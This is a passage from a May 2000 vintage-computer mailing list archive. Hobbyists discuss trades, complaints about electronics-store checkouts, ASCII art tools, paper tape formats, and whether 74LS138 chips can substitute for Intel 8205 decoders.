07:06:51 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 815 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/73048bd8/attachment.ksh From ard at p850ug1.demon.co.uk Tue May 23 13:35:54 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:51 2005 Subject: Altair parts substitutions In-Reply-To: <006801bfc44c$9e3475e0$7164c0d0@ajp166> from "allisonp" at May 22, 0 06:22:21 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 765 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/b82d1568/attachment.ksh From ard at p850ug1.demon.co.uk Tue May 23 13:38:33 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:51 2005 Subject: Altair parts substitutions In-Reply-To: <006901bfc44c$9f029b50$7164c0d0@ajp166> from "allisonp" at May 22, 0 06:33:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 928 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/f3b99812/attachment.ksh From eric at brouhaha.com Tue May 23 17:01:47 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: (healyzh@aracnet.com) References: <20000523.111414.-197469.0.jeff.kaneko@juno.com> Message-ID: <20000523220147.23828.qmail@brouhaha.com> Zane wrote: > Though usually I use something along the lines of "You > don't need that information." I've sometimes gotten arguments over that. Maybe you have more midiclorians (sp?) than I? :-) From healyzh at aracnet.com Tue May 23 17:13:36 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:52 2005 Subject: Radio Shack Humour In-Reply-To: <20000523142153.B8235@electron.quantum.int> from "Shawn T. Rutledge" at May 23, 2000 02:21:54 PM Message-ID: <200005232213.PAA21784@shell1.aracnet.com> Shawn T. Rutledge wrote: > Nearly everything about the Fry's checkout process sucks. If you go > to buy computer parts like memory or a hard drive, they have long forms > onscreen to fill out (including name, address etc, but usually they skip > that part). Then they _print_ the form. (This is a computer store, > haven't they heard of a network?) Last time I had to wait several minutes Face it, they're as *low tech* as you can get and still set electronics! Zane From ckaiser at oa.ptloma.edu Tue May 23 17:32:50 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:51:52 2005 Subject: Trade bait Message-ID: <200005232232.PAA06562@oa.ptloma.edu> I have a few items I'm interested in trading. These are mostly collector's pieces but might be useful to others also. A Muppet Learning Keys unit for the C64 (and probably Atari). I don't have the software, but it seems to operate (I spied on the joystick lines and saw that it does send signals). Designed by the same guys who did the Koala Pad. It's basically a "kid-proof" modified membrane keyboard that connects to the joyport. A Laser 50 "personal computer" (looks like a Tandy Pocket Computer on steroids). It used to work, but a(n ex- :-)friend of mine decided he would take it apart and didn't put it back together properly. It might be repairable, but I haven't tried. Complete with box and manual, in original packaging. Call it a fixer-upper. COMPUTE!'s First Book of the Commodore 64. Spiral-bound. Includes lots of interesting sample programs. Great if you want to get a fast, instant introduction to the C64. I also have a few other C64 software items, mostly games. I'm always interested in Commodore 8-bit "stuff", and am also looking for Atari 8-bit (not 2600/5200/7800) cartridges. However, I am *particularly* interested in Model 100 or NEC 8201A RAM, and getting another Timex/Sinclair 1000 since the last one I got seemed to be DOA and I could not revive it (but I have a crapload of TS1000 software and a 16K RAM expansion waiting for it). I have the manual and all the accessories, and can probably scare up a power supply; I just need the computer itself. Sorry, not interested in cash. :-) I'm in San Bernardino, and will be for the next few weeks. Please reply off-list to ckaiser@ptloma.edu. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Any excuse will serve a tyrant. -- Aesop ----------------------------------- From ckaiser at oa.ptloma.edu Tue May 23 17:34:12 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:51:52 2005 Subject: Radio Shack Humour In-Reply-To: <20000523220147.23828.qmail@brouhaha.com> from Eric Smith at "May 23, 0 10:01:47 pm" Message-ID: <200005232234.PAA04166@oa.ptloma.edu> ::Zane wrote: ::> Though usually I use something along the lines of "You ::> don't need that information." :: ::I've sometimes gotten arguments over that. Maybe you have ::more midiclorians (sp?) than I? :-) You mean cojones, right? ;-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- "I'd love to go out with you, but I'm braiding my dental floss." ----------- From george at racsys.rt.rain.com Tue May 23 17:34:01 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:51:52 2005 Subject: Radio Shack Humour In-Reply-To: <200005232213.PAA21784@shell1.aracnet.com> Message-ID: Try going through their checkout line when their checkout POS system was down. They had to call in every VISA authorization by voice call. Big big line then... George ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Tue, 23 May 2000 healyzh@aracnet.com wrote: > Shawn T. Rutledge wrote: > > Nearly everything about the Fry's checkout process sucks. If you go > > to buy computer parts like memory or a hard drive, they have long forms > > onscreen to fill out (including name, address etc, but usually they skip > > that part). Then they _print_ the form. (This is a computer store, > > haven't they heard of a network?) Last time I had to wait several minutes > > Face it, they're as *low tech* as you can get and still set electronics! > > Zane > > From jfoust at threedee.com Tue May 23 17:35:18 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:52 2005 Subject: Question about ASCII art In-Reply-To: Message-ID: <4.3.0.20000523173350.01f9f4a0@pc> At 10:53 AM 5/23/00 -0700, Vintage Computer GAWD! wrote: >I am making the assumption that most of these ASCII art files were scanned >from actual pictures and then rendered by some software? >If so, is this software still around??? And what hardware was used to >scan them? There is/was an SGI tool to convert bitmap animations to ASCII. Back in 1998, you were a participant in the CCC thread on this topic which said: It's been done. has a number of movie clips converted to ASCII, and then played via a Java applet. If you aren't on a well-equipped browser on a fast link, forget it. I do recognize the irony of this situation. These movies were created with the SGI 'ttyvideo' package, , which lets you convert a bitmap animation or real-time video capture (the SGI Indy includes a camera) to an animated or static ASCII version. - John From dpeschel at eskimo.com Tue May 23 17:52:34 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:52 2005 Subject: When new advertising meets old computers In-Reply-To: from "Tony Duell" at May 23, 2000 07:42:43 PM Message-ID: <200005232252.PAA01195@eskimo.com> > > Although the effect is rather unsettling (Life magazine meets Wired?) the > > strangest part is the image of *six-hole paper tape* that marches across > > the middles of all the pages. Obviously old computers have some sort of hold > > on our culture, though it could just be as an abstract design cliche. > > Typesetting tape was 6 (data) tracks, but it had other differences from > the other paper tape standards as well. For one thing, the sprocket holes > on all other paper tapes (5, 7, 8 level) are the same distance from the > edge of the tape on the '3 hole' side. Typesetter tape has the holes a > little further away. > > Also, on all other tapes, the centre line of the data holes and the > (smaller) sproket holes (looking across the tape) is aligned. On > typesetter tape, the leading edge is aligned. This is valuable info and made me wonder if the paper tape graphic was only a fake. I'm pretty sure there are at most six holes per channel but as I recall it violates the other standards you mentioned (the sprocket holes are halfway between the two middle data tracks and their centers are aligned). > > > > I haven't yet decoded the tape (if it says anyhthing at all). Luckily I > > just got _Computers and Typesetting_ which covers plenty of obscure > > Presumably not related to the Knuth set of books of that title that cover > TeX, etc. No, it's much earlier than that (1968?) and it's British. It may have been wrotten by Her Majesty's Stationery Office (not registered by them, written by them). The book's at home so I can't check any of those facts now. It describes Linotype machines, Monotype machines, and various filmsetters (with pictures, diagrams, and descriptions of features); it has a pretty detailed discussion of character sets and keyboards, including stenographic and chorded keyboards; it has very useful information about tape codes (including how to cram data that may use as many as 15 or 30 bits per item onto narrower tape); and it has lots of other trivia about specialized devices, information flow in a print shop, the niceties of book formatting, some of the contemporary computer hardware and software, how Random House typeset one of their dictionaries; and so on. In short, I'm becoming very glad that I bought it. :) -- Derek From netsurfer_x1 at hotmail.com Tue May 23 17:53:52 2000 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 18:51:52 2005 Subject: Need Software. Message-ID: <20000523225352.61400.qmail@hotmail.com> >I have a variety of ancient DOS-based software on 5.25" >diskettes -- >mostly 360 KB. Not being familiar with >your Sharp machine, I have to ask: > how much RAM does it >have, and what version of DOS is it running? And >what >sort of programs are you looking for? > >Glen >0/0 Answering your questions: 1. I think about 380K or so of RAM (programs that run on 256K should be perfect) 2. DOS v. 3.2 3. Surprise me. I am looking for anything that I can use & that will work on my system. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From netsurfer_x1 at hotmail.com Tue May 23 17:54:04 2000 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 18:51:52 2005 Subject: Need Software. Message-ID: <20000523225404.49123.qmail@hotmail.com> >I have a variety of ancient DOS-based software on 5.25" >diskettes -- >mostly 360 KB. Not being familiar with >your Sharp machine, I have to ask: > how much RAM does it >have, and what version of DOS is it running? And >what >sort of programs are you looking for? > >Glen >0/0 Answering your questions: 1. I think about 380K or so of RAM (programs that run on 256K should be perfect) 2. DOS v. 3.2 3. Surprise me. I am looking for anything that I can use & that will work on my system. ____________________________________________________________ David Vohs, Digital Archaeologist & Computer Historian. Home page: http://www.geocities.com/netsurfer_x1/ Computer Collection: "Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, Okimate 20. "Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. "Delorean": TI-99/4A. "Monolith": Apple Macintosh Portable. "Spectrum": Tandy Color Computer 3. "Boombox": Sharp PC-7000. ____________________________________________________________ ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From wilson at dbit.dbit.com Tue May 23 18:00:58 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:52 2005 Subject: Radio Shack Humour In-Reply-To: <200005232030.NAA06353@shell1.aracnet.com>; from healyzh@aracnet.com on Tue, May 23, 2000 at 01:30:11PM -0700 References: <20000523135841.D18382@mrbill.net> <200005232030.NAA06353@shell1.aracnet.com> Message-ID: <20000523190058.A24678@dbit.dbit.com> On Tue, May 23, 2000 at 01:30:11PM -0700, healyzh@aracnet.com wrote: > Actually from what I understand there is a good reason. Namely they don't > trust thier own employees! Supposedly they're checking to make sure that > the cashiers charged you for everything you got. The fact that CompUSA hires low-lifes is definitely Their Problem though, it shouldn't mean that they get to make up their own laws and apply them to customers w/o their consent. Anyway I solve this problem by just not giving them my business, it's not as if there aren't better/cheaper places to buy computer stuff, w/o being hassled. John Wilson D Bit From gaz_k at lineone.net Tue May 23 17:53:53 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:51:52 2005 Subject: Question about ASCII art References: Message-ID: <000601bfc50d$aa2d3780$bd4e883e@gaz> Vintage Computer GAWD! wrote: > I am making the assumption that most of these ASCII art files were scanned > from actual pictures and then rendered by some software? > If so, is this software still around??? And what hardware was used to > scan them? I'm not sure about other platforms but Amiga users can do this using Personal Paint 6 onwards. There is also a PD utility on Aminet to do the job. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From richard at idcomm.com Tue May 23 18:30:37 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:52 2005 Subject: DATASHIELD 800 UPS Message-ID: <001401bfc50e$e938efe0$0400c0a8@winbook> Has anybody got detailed doc's on the Datashield AT-800 UPS? Apparently they were bought out by Tripp, who now has nothing by way of documents to help anyone who was orphaned by their acquisition. thanx, Dick -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/4adfe7a8/attachment.html From healyzh at aracnet.com Tue May 23 18:35:35 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:52 2005 Subject: Radio Shack Humour In-Reply-To: <20000523190058.A24678@dbit.dbit.com> from "John Wilson" at May 23, 2000 07:00:58 PM Message-ID: <200005232335.QAA01752@shell1.aracnet.com> > it shouldn't mean that they get to make up their own laws and apply them to > customers w/o their consent. Anyway I solve this problem by just not giving > them my business, it's not as if there aren't better/cheaper places to buy > computer stuff, w/o being hassled. > > John Wilson > D Bit > Actually since a Mac only store opened last fall a few blocks from them I don't believe I've purchased anything from CompUSA. I'd rather pay more than deal with them anymore. Although if you can ever find one of there 'end of the fiscal year' type sales, they're well worth going to. I got lucky and stumbled across one of those, but not lucky enough that got one of the $200 laptops :^( Still the PII/266 I got that day for $400 was a steal, and my cousins twins love their $100 PowerMac. Zane From liste at artware.qc.ca Tue May 23 18:39:46 2000 From: liste at artware.qc.ca (liste@artware.qc.ca) Date: Sun Feb 27 18:51:52 2005 Subject: rescued a beehive! In-Reply-To: <39263D40.622C64F@rdel.co.uk> Message-ID: On 20-May-2000 Paul Williams wrote: > Hehehe. Terminal junkie support group, anyone? > > Sellam, Philip, I'd love to see pictures of any terminals in your > collections. My collection of terminals is, like my classic computer collection, very small. Space, money and availability are the primary restrictions. The Wyse-85 I use daily. I first saw a Wyse at a local hospital, where i was visiting a friend who'd just had a baby. I spoted the terminal, played around with it trying to get something interesting out (it required a key that went in a hole on the keyboard) and said "I want one of these." 2 days later I wandered into the local used computer store. This store is owned by a cranky old lady who smokes like a chimney and speaks thick Qu?becois. A visit is always an adventure. I asked if she had a Wyse, to which she replyed "No, I have a *mumble*" (I have no clue what the *mumble* was. I think it was the same *mumble* as when I asked after an X terminal previously). However, the person who she had been chatting with said "Yes, you do have a Wyse. You sold me one last week". She goes "Wasn't that a *mumble*?" "No, it's a Wyse". Then she stares me in the eye "So, how much will you give me for it?" I haven't seen the terminal yet, but I guess it's value at around 70 CAD. She goes, "Nope, I want 20 CAD" Now picture me going "wheee!" and coughing on cigarette smoke. Turns out it's a Wyse-85, with a international/french keyboard. It has a wordperfect F-key "cheat-sheet" glued to the keyboard. Previously, I'd been using a Compaq II as a terminal, but they Wyse is much less noisy and runs at 19200 reliably. As an extra bonus, wyse85 is in the linux termcap. -Philip From ckaiser at oa.ptloma.edu Tue May 23 18:55:33 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:51:52 2005 Subject: Question about ASCII art In-Reply-To: <000601bfc50d$aa2d3780$bd4e883e@gaz> from Gareth Knight at "May 23, 0 11:53:53 pm" Message-ID: <200005232355.QAA07504@oa.ptloma.edu> ::Vintage Computer GAWD! wrote: ::> I am making the assumption that most of these ASCII art files were scanned ::> from actual pictures and then rendered by some software? ::> If so, is this software still around??? And what hardware was used to ::> scan them? :: ::I'm not sure about other platforms but Amiga users can do this using ::Personal Paint 6 onwards. There is also a PD utility on Aminet to do the ::job. I wrote a utility called ppmascii in Perl that does something of the sort but it turns pixels into entire characters which means on a typical screen you can only see 80x25 images and the aspect ratio is usually tweaked. I know there are more sophisticated programs out there but I've yet to find one myself. I usually send a -pnm -scale 1/8 to djpeg and put *that* output through ppmascii. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- All wiyht. Rho sritched mg kegcaps awound? --------------------------------- From eric at brouhaha.com Tue May 23 18:54:03 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:52 2005 Subject: Radio Shack Humour In-Reply-To: (message from George Rachor on Tue, 23 May 2000 15:34:01 -0700 (PDT)) References: Message-ID: <20000523235403.24442.qmail@brouhaha.com> George wrote: > Try going through their checkout line when their checkout POS system was > down. They had to call in every VISA authorization by voice call. Yes, I've been at Fry's on three occasions when that happened. On two of the occasions, when I discovered the problem, I just set down my items on the nearest flat horizontal surface and left. On the third occasion, I *really* needed the item, so I had to wait. On another occasion they had lost all power to the building, so even the phone system didn't work. They were apparently worried about liability if a customer managed to get injured in the dark, but they didn't want to turn away business entirely. So if you knew what you wanted, they sent you in with an "associate" who had a flashlight. That was definitely my strangest shopping experience ever. From elvey at hal.com Tue May 23 19:06:34 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions In-Reply-To: Message-ID: <200005240006.RAA26137@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > Now that's interesting. When I got my (second-hand) Intellec MCS8i, it > didn't work. One of the faults was soon traced to an 8205 chip on (IIRC) > one of the memory boards. > > At the time I'd never heard of this device (and didn't have a suitable > Intel databook), but from the schematics in the manual it appeared to > have the same pinout as an 74LS138. So I stuck one of those in and of > course it worked fine (and still works AFAIK). > > I wondered at the time what the difference was between an 8205 and a > 74LS138. Now I know... > > -tony Hi Tony As I recall, the difference was that the Intel parts could stand a much lower negative voltage ( -10V? ) than the general purpose TTL. This made is compatible with the 8080's. Also, as I recall, the 8205 were also Schottky's. Dwight From elvey at hal.com Tue May 23 19:17:04 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions In-Reply-To: <20000523214508.23716.qmail@brouhaha.com> Message-ID: <200005240017.RAA26263@civic.hal.com> Eric Smith wrote: > > This is what I meant exactly - no bi-directional data bus. I'm guessing that > > there is a fine distinction between dual-ported and separate input and > > output busses... > > Specifically, a true dual-ported RAM chip has separate address busses and > control signals/strobes (*RD and *WR, or *CS and R/*W, or the like) for > each port. > > Dual-port RAM chips tend to be expensive and not very high-density, so > they aren't commonly found in commodity computer hardware. It's usually > more cost-effective to time-multiplex a single port. > > Current manufacturers of dual-port RAM chips include Cypress and IDT. > There are even some quad-port RAM chips now. Most of the dual ported RAM chips that I know of were used on video boards. These had parallel I/O on one side and serial I/O on the other. In the microprocessor designs we do, we designate the RAMs as follows: 1RW Single port/ may have separate in and out busses 1R1W Dual port. Separate addressing for read and write 5R5W Multiport. A real pain to test {:-0> We do use quite a few multiported RAM as internal design but it would be hard to use these as single chips. Dwight From foo at siconic.com Tue May 23 18:54:30 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:52 2005 Subject: Radio Shack Humour In-Reply-To: <200005232030.NAA06353@shell1.aracnet.com> Message-ID: On Tue, 23 May 2000 healyzh@aracnet.com wrote: > On Tue, May 23, 2000 at 10:45:37AM -0700, Vintage Computer GAWD! wrote: > > On the same token, how many of you have gone to one of those computer > > superstores like CompuUSA or Fry's and felt totally indignant at having to > > have your bag checked and receipt highlighted with a marker for apparently > > no good reason? > > Actually from what I understand there is a good reason. Namely they don't > trust thier own employees! Supposedly they're checking to make sure that > the cashiers charged you for everything you got. Screw them! That's their damn problem! I don't have time to help them train their stupid employees. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 23 19:17:00 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:52 2005 Subject: Radio Shack Humour In-Reply-To: <20000523142153.B8235@electron.quantum.int> Message-ID: On Tue, 23 May 2000, Shawn T. Rutledge wrote: > It would certainly be appropriate.) Half the barcodes don't scan. They > used to use these old fashioned light-pen type scanners but at least > the last time, they'd finally upgraded to the pistol-grip autoscanning > kind. At the risk of turning this into a full-fledge anti-Fry's flame-a-thon (apologies in advance) the clerks there (gawd bless them) are so stupid sometimes. I got one who was having trouble scanning stuff so he'd swipe the bar code wand over the item back & forth three or four times to make it scan. His hearing must not have been very keen, nor his eyesite, because he managed to scan one package of candy 3 or 4 times and didn't catch it. I heard the beeps and immediately knew what happened, but poop-for-brains didn't realize it. When the receipt came I pointed it out. Knowing full well from past experiences that if I had made him take the extra charges off it would have taken probably 10 minutes for him to call a manager over (they can't seem to do ANYTHING other than ring-up crap unless a manager gets involved) and since I had to get back to the VCF because a speaker was waiting for the VCR I was also purchasing, I just went and grabbed 3 more candies from the shelf and told him we were even. Of course I breezed through the Gestapo check at the door. > hassle, you wait while the receipt printer (which has done nothing in > advance of this moment) prints out two feet of paper, slowly, one line > at a time. Then you go wait in line again at the exit. And get home to DAMN those printers are slow!!! > find out your product was already returned once and is missing something > or doesn't work. So you can go stand in line again and shuttle more > paper back and forth and be trapped into buying from them again because > they will only give you store credit because you lost the receipt. Always, always, ALWAYS ***OPEN*** the package you want to purchase and visually inspect everything inside. Make sure it is complete before buying it. You'll save yourself a ton of hassle. Which brings me to a point, which is sometimes it's more cost effective to just pay more at another store than to take the chance with Fry's crap. > What I would like to see instead, despite the cries of "Big Brother" from > so many people, is a smart card or iButton that has the memory of who you > are and all the ID numbers for all the various stores at which you shop. Yeah, I'll pass. Really, the problem with Fry's is that they can't keep employees around because the working environment probably sucks so bad. They are mostly immigrants (nothing against them!) who speak poor English, getting paid minimum wage at best, who are told to show up the first day in a nice white shirt, tie, and black slacks, then thrown out into the fray to answer questions from customers who already know way more about computers than they ever will. After two or three days of feeling like idiots they leave to find a real job. One day I actually found a regular American white boy working the floor who actually knew the answer to the question I had, knew where to find what I was looking for, took me to that place, and actually APOLOGIZED for how crappy the experience at Fry's was! It was like finding, in a colony of chimpanzees, one that could talk. I felt sorry for him. Anyway, I'm very sorry for carrying on like this. But Fry's has been a Silicon Valley institution (for better or worse) for the past couple of decades, so it's part of the history and culture and gives you outlanders an idea of what it's like at least :) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ard at p850ug1.demon.co.uk Tue May 23 18:59:10 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:52 2005 Subject: When new advertising meets old computers In-Reply-To: <200005232252.PAA01195@eskimo.com> from "Derek Peschel" at May 23, 0 03:52:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2935 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/6d89a217/attachment.ksh From foo at siconic.com Tue May 23 19:22:52 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:52 2005 Subject: Question about ASCII art In-Reply-To: <4.3.0.20000523173350.01f9f4a0@pc> Message-ID: On Tue, 23 May 2000, John Foust wrote: > At 10:53 AM 5/23/00 -0700, Vintage Computer GAWD! wrote: > >I am making the assumption that most of these ASCII art files were scanned > >from actual pictures and then rendered by some software? > >If so, is this software still around??? And what hardware was used to > >scan them? > > There is/was an SGI tool to convert bitmap animations to ASCII. > Back in 1998, you were a participant in the CCC thread on > this topic which said: I was mostly referring to the ones done in the days before high-powered workstations like SGI systems, where a feat such as scanning in a nekkid lady would actually have been pushing the technological boundaries, not just mocking them :) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ard at p850ug1.demon.co.uk Tue May 23 20:19:34 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions In-Reply-To: <200005240006.RAA26137@civic.hal.com> from "Dwight Elvey" at May 23, 0 05:06:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 798 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000524/d8c25c2c/attachment.ksh From jrkeys at concentric.net Tue May 23 20:44:30 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:51:52 2005 Subject: New Finds Today Message-ID: <022201bfc521$9b444b00$7d731fd1@default> Had a good day today as I got a digital TK25 with cable and a Sharp PC-500 portable computer with a built-in printer for 10 bucks total. The PC-5000 has a very small but long liquid crystal display of 640x80 dots and is one weird laptop computer. No power supply was with it and the battery seems to be dead. Anyone know anything about it. Also picked up a neat 3 foot robot for $1 here at a thrift store. No remote was with it a and one cover plate is missing, have not tried to power it up yet. Keep computing John Keys From dpeschel at eskimo.com Tue May 23 20:53:23 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:51:52 2005 Subject: When new advertising meets old computers In-Reply-To: from "Tony Duell" at May 24, 2000 12:59:10 AM Message-ID: <200005240153.SAA09757@eskimo.com> > A maths book we used at school had a paper tape strip as part of the > picture on the cover, and that _did_ make sense when read as 5-level What did it say? -- Derek From allisonp at world.std.com Tue May 23 20:13:45 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions Message-ID: <00a101bfc51f$cf12d840$6d64c0d0@ajp166> >> > I wondered at the time what the difference was between an 8205 and a >> > 74LS138. Now I know... >> > >> > -tony >> >> Hi Tony >> As I recall, the difference was that the Intel parts could >> stand a much lower negative voltage ( -10V? ) than the general purpose > >Well, from what Allison was saying, there's a TI silicon die in that >8205. Why would it see -10V??? Your thinking maybe of the 8224 clock gen? >_Apart_ from the clock lines (and power supplies :-)), I thought all pins >on the 8080 were at standard TTL levels. Certainly the address bus was, >which is where you'd be most likely to use a 3-8 decoder. Yes they are but not much drive, 2 LS loads are it. >> I recall, the 8205 were also Schottky's. > >Possibly. But wether it's a 74138, 74S138 or 74LS138 makes little >difference on the average 8080 system memory board... Right on. It was LS part. Also it was introduced when the 8085 was released and not the 8080. Whats funny is when TI had that 74LS yeild bust in the late 70s that part became real important to intel. Allison From richard at idcomm.com Tue May 23 21:53:19 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions References: <200005240006.RAA26137@civic.hal.com> Message-ID: <001301bfc52b$3a8f5200$0400c0a8@winbook> All this verbage about the i8205 has forced me to dig out an old (pre-Columbian) data book. IIRC Intel really didn't make any of its TTL parts, as their fab was dedicated to PMOS, NMOS, and later, CMOS devices. Therefore I'd suspect that the i8205 (and also the i3205) were strictly TTL, or, more correctly, schottky TTL. The i8205, by the way, sinks only 10 mA as opposed to the schottky equivalent, the 'S138, which sinks somewhere between 16 and 24 mA, depending on whose databook of that day you consult. This was probably more specsmanship than technology, however. I do, however, believe that applying a negative voltage lower than -0.6 volts would cause damage. The 1978 datasheet says very little about that. I'm sure there's a better reference, but I'm too lazy to dig for it in the basement. I can see no reason why one would wish to apply a negative voltage to one of these babies, however, since the only parts from the '70's that needed that negative voltage were the PMOS and a few NMOS memories, which, admittedly could fail in some mode that might short the Vbb supply to the select logic, though that's highly unlikely. Parts normally aren't designed with unusual failure modes of other components taken into consideration. In any event I'm unable to find any spec indicating the device will tolerate any signal more negative than a silicon diode forward voltage below its own GND. Dick ----- Original Message ----- From: Dwight Elvey To: Sent: Tuesday, May 23, 2000 6:06 PM Subject: Re[2]: Altair parts substitutions > ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > Now that's interesting. When I got my (second-hand) Intellec MCS8i, it > > didn't work. One of the faults was soon traced to an 8205 chip on (IIRC) > > one of the memory boards. > > > > At the time I'd never heard of this device (and didn't have a suitable > > Intel databook), but from the schematics in the manual it appeared to > > have the same pinout as an 74LS138. So I stuck one of those in and of > > course it worked fine (and still works AFAIK). > > > > I wondered at the time what the difference was between an 8205 and a > > 74LS138. Now I know... > > > > -tony > > Hi Tony > As I recall, the difference was that the Intel parts could > stand a much lower negative voltage ( -10V? ) than the general purpose > TTL. This made is compatible with the 8080's. Also, as > I recall, the 8205 were also Schottky's. > Dwight > From richard at idcomm.com Tue May 23 22:07:49 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:52 2005 Subject: Altair parts substitutions References: Message-ID: <001b01bfc52d$4079fd80$0400c0a8@winbook> The propagation delays cited for the three popular bipolar technologies in which the '138 was offered seem to vary pretty widely. My experience has been that these spec's reflect worst-case conditions: conditions more frequently encountered then than now, since it was likely a designer in '76 or so would be using two levels of these decoders on a memory board, one to select a bunch of memories, and one to select a bunch of '138's that selected the memories. Back when small (1K-bit) memories were the most common sort, there were lots of chips expecting to see that select strobe, and the worst case load made the prop-delay long. When there's only a single 2764 to drive, the difference between the three available technologies is much smaller. A fairly typical memory configuration might have been a bank of 72 2102's (they liked parity back then) and about eight 1702's. One 138 would drive each of the rows of RAMs, while another drove each of the 8 1702's. That's lots of capacitance, not to mention a fair DC load. I'd say the difference between STTL and standard TTL would have shown up there in the form of a difference of maybe 15-25 ns. Due to the size of memory devices back then, the decoding tree would have been pretty long, therefore combining the delay through several decoders. This would probably have been a depth of two in the case of the memory layout I suggested. 2102's back then had a typical access time of 600 ns and 1702's were somewhere between 750 and 1000 nanoseconds. I don't think one could claim that 50 ns is negligible with a 2 MHz 8080 under those conditions. Dick ----- Original Message ----- From: Tony Duell To: Sent: Tuesday, May 23, 2000 7:19 PM Subject: Re: Re[2]: Altair parts substitutions > > > TTL. This made is compatible with the 8080's. Also, as > > _Apart_ from the clock lines (and power supplies :-)), I thought all pins > on the 8080 were at standard TTL levels. Certainly the address bus was, > which is where you'd be most likely to use a 3-8 decoder. > > > I recall, the 8205 were also Schottky's. > > Possibly, But whether it's a 74138, 74S138 or 74LS138 makes little > difference on the average 8080 system memory board... > > > Dwight > > > > > > -tony > From jfoust at threedee.com Tue May 23 22:29:15 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:52 2005 Subject: Question about ASCII art In-Reply-To: References: <4.3.0.20000523173350.01f9f4a0@pc> Message-ID: <4.3.0.20000523222144.01fb0960@pc> At 05:22 PM 5/23/00 -0700, Sellam "speculum.com" wrote: >I was mostly referring to the ones done in the days before high-powered >workstations like SGI systems, where a feat such as scanning in a nekkid >lady would actually have been pushing the technological boundaries, not >just mocking them :) Joan Stark's page delves into a bit of history about this, talking about pre-computer artists who eyeballed images on typewriters. Greybeards on the Greenkeys list say that many of their images were created the same way. This seems considerably more difficult 